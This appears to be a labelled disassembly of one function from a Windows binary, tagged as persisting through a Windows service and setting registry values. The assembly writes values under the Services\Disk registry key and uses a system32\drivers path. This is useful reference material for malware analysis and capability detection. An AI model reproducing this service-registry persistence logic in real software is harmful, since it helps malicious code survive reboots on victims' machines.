Function at 0x439240
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4811f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x439266
invalid
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
jne 0x439285
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x10]
mov dword [ebp + 8], 0xffffffff
push eax
push 0x20006
push esi
push str.SystemCurrentControlSetServicesDisk
push reloc.WSOCK32.dll_bind
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x439418
mov eax, dword [0x4ba414]
cmp eax, esi
jne 0x4392bf
mov eax, 0x482818
mov ecx, dword [ebp - 0x10]
push 0xb18
push edi
push 3
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, esi
jne 0x43940a
mov dl, byte [ebp + 0xb]
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x20], dl
call fcn.00401760
mov edi, str.system32drivers_
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [ebp - 0x20]
push ebx
call fcn.00401800
test al, al
je 0x43932e
mov edi, dword [ebp - 0x1c]
mov ecx, ebx
mov eax, ecx
mov esi, str.system32drivers_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
xor esi, esi
mov byte [ecx + ebx], 0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x20]
push edx
push esi
push 0x4ba3d0
mov dword [ebp - 4], esi
call fcn.004103c0
mov eax, dword [0x484bc8]
mov edx, dword [ebp - 0x18]
sub eax, edx
cmp eax, 1
ja 0x43935a
call fcn.0046d8e0
mov ecx, dword [ebp - 0x18]
push esi
lea edi, [ecx + 1]
lea ecx, [ebp - 0x20]
push edi
call fcn.00401800
test al, al
je 0x439383
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edi
mov byte [ecx + edi], 0
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
cmp eax, esi
mov edi, edx
je 0x4393b3
mov cl, byte [eax - 1]
test cl, cl
je 0x4393a8
cmp cl, 0xff
je 0x4393a8
push esi
push edx
lea ecx, [ebp - 0x20]
call fcn.00401800
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x4393b3
mov byte [eax - 1], 0xff
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
push edi
push eax
push 2
push esi
push 0x4a3b84
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4393e7
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + 8], esi
cmp ecx, esi
je 0x43940a
mov al, byte [ecx - 1]
test al, al
je 0x439400
cmp al, 0xff
je 0x439400
dec al
mov byte [ecx - 1], al
jmp 0x43940a
mov ecx, dword [ebp - 0x1c]
cmp ecx, esi
je 0x43940a
mov al, byte [ecx - 1]
test al, al
je 0x439400
cmp al, 0xff
je 0x439400
dec al
mov byte [ecx - 1], al
jmp 0x43940a
dec ecx
push ecx
call fcn.00478980
add esp, 4
mov eax, dword [ebp - 0x10]
cmp eax, esi
je 0x439418
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4